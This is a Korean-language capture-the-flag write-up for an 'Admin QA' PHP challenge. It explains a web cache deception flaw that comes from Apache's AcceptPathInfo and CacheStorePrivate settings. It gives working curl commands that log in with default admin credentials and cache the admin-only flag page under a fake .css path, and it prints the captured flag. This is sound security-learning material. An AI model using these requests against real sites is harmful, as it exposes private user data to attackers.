Logo
Overview
[CLUB LEAGUE] Admin QA writeup

[CLUB LEAGUE] Admin QA writeup

October 11, 2025
2 min read

TL;DR

Web Cache Deception

Analysis

php

common.php

<?php
session_start();
function envv($key, $default = null) {
$v = getenv($key);
return ($v === false || $v === '') ? $default : $v;
}
define('ADMIN_USER', envv('ADMIN_USER', 'admin'));
define('ADMIN_PASS', envv('ADMIN_PASS', 'adminpass'));
define('FLAG', envv('FLAG', 'FLAG{web_cache_deception_ato}'));
function storage_posts_path() { return __DIR__ . '/../storage/posts.json'; }
function storage_users_path() { return __DIR__ . '/../storage/users.json'; }
..
function is_admin() {
$u = current_user();
if (!$u) return false;
return isset($u['username']) && hash_equals($u['username'], ADMIN_USER);
}
function require_login() {
if (!is_logged_in()) {
header('Location: /login.php');
exit;
}
}

ADMIN_USER, ADMIN_PASS가 환경 변수에서 로드되고, 기본 값은 admin, adminpass is_admin() 함수는 현재 로그인한 사용자의 username이 ADMIN_USER와 일치하는지 확인

index.php

...
<header>
<h1>Admin QA</h1>
<nav>
<?php if (is_logged_in()): ?>
<a href="/account.php">My Account</a>
<?php if (is_admin()): ?>
<a href="/flag.php">Flag</a>
<?php endif; ?>
<a href="/logout.php">Logout</a>
<?php else: ?>
<a href="/login.php">Login</a> · <a href="/register.php">Register</a>
<?php endif; ?>
</nav>
</header>
...

관리자인 경우 /flag.php로 이동 가능.

  • admin/api.php
    • 관리자만 접근 할 수 있으며 게시물을 읽음/안 읽음으로 표시하거나 다음 안 읽은 게시물 가져오는 기능
  • login.php
    • username, password가 ADMIN_USER, ADMIN_PASS와 직접 일치하는 경우 로그인 처리
    • 일반 사용자는 users.json에 저장된 해시된 비밀번호를 통해 인증
  • register.php
    • ADMIN_USER와 동일한 이름으로 등록 X
  • flag.php
    • 로그인 되어있고 관리자 권한이 있는 경우에만 플래그 표시
    • header(‘Cache-Control: private, no-store, no-cache, must-revalidate’); 헤더 명시적 설정으로 캐싱 방지

settings

<VirtualHost *:80>
...
<Directory /var/www/html>
AllowOverride All
Require all granted
Options -Indexes
AcceptPathInfo On # 중요: PathInfo 허용
</Directory>
CacheQuickHandler On
CacheEnable disk /
CacheHeader on
CacheDefaultExpire 600
CacheMaxExpire 3600
CacheIgnoreQueryString Off
CacheStorePrivate On # 중요: private 캐시 저장 허용
...
</VirtualHost>

AcceptPathInfo On: /flag.php/exploit.css와 같은 URL에서 /exploit.css 부분을 flag.php가 무시하고 처리 CacheEnable disk /: 디스크 캐싱을 활성화 CacheStorePrivate On: Cache-Control: private 헤더가 있는 응답도 캐시하도록 설정합니다. 이는 flag.php에서 명시적으로 캐싱을 막으려 했음에도 불구하고, Apache 설정에 의해 캐시될 수 있음을 의미

WCD 공격이다.

Exploit

  • 관리자 로그인: admin 계정(admin/adminpass)으로 웹 애플리케이션에 로그인
  • 악성 URL 요청: 관리자 세션에서 flag.php의 내용을 캐시하도록 유도하는 URL을 요청
    1. AcceptPathInfo On 설정 덕분에 Apache는 /flag.php/exploit.css 요청을 flag.php로 라우팅하고 처리
    2. flag.php는 관리자 권한을 확인하고 플래그를 포함한 HTML 응답을 생성
    3. Apache 캐싱 모듈은 .css 확장자를 보고 이 요청을 정적 CSS 파일처럼 캐시할 수 있다. CacheStorePrivate On 설정으로 인해 Cache-Control: private 헤더가 있더라도 캐시된다.
  • 캐시된 응답 탈취: 관리자가 로그아웃하거나 다른 비관리자 사용자가 동일한 URL (http://3.39.86.84:4000/flag.php/exploit.css)을 요청
    1. 캐싱 서버는 이미 해당 URL에 대한 캐시된 응답을 가지고 있으므로, flag.php를 다시 실행하지 않고 캐시된 응답을 반환합니다.
    2. 이 캐시된 응답에는 관리자만 볼 수 있었던 플래그가 포함되어 있습니다.
  1. 관리자 로그인
curl -X POST -d "username=admin&password=adminpass" http://3.39.86.84:4000/login.php -c admin_cookie.txt -b admin_cookie.txt
  1. 악성 URL 요청 (관리자 세션)
curl http://3.39.86.84:4000/flag.php/exploit.css -b admin_cookie.txt
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Flag — Admin QA</title>
<style>
body { font-family: system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial, sans-serif; margin: 2rem auto; max-width: 860px; padding: 0 1rem; }
.info { border:1px solid #ddd; padding:1rem; border-radius:6px; }
code { background:#f5f5f5; padding:.1rem .25rem; border-radius:3px; }
</style>
</head>
<body>
<header>
<a href="/">← Home</a>
</header>
<h1>Flag</h1>
<div class="info">
<strong>FLAG:</strong> <code>hspace{c98de32177d8a37212b16915da31b1944082bd59465d14a67166b3229db0f5d5}</code>
</div>
</body>
</html>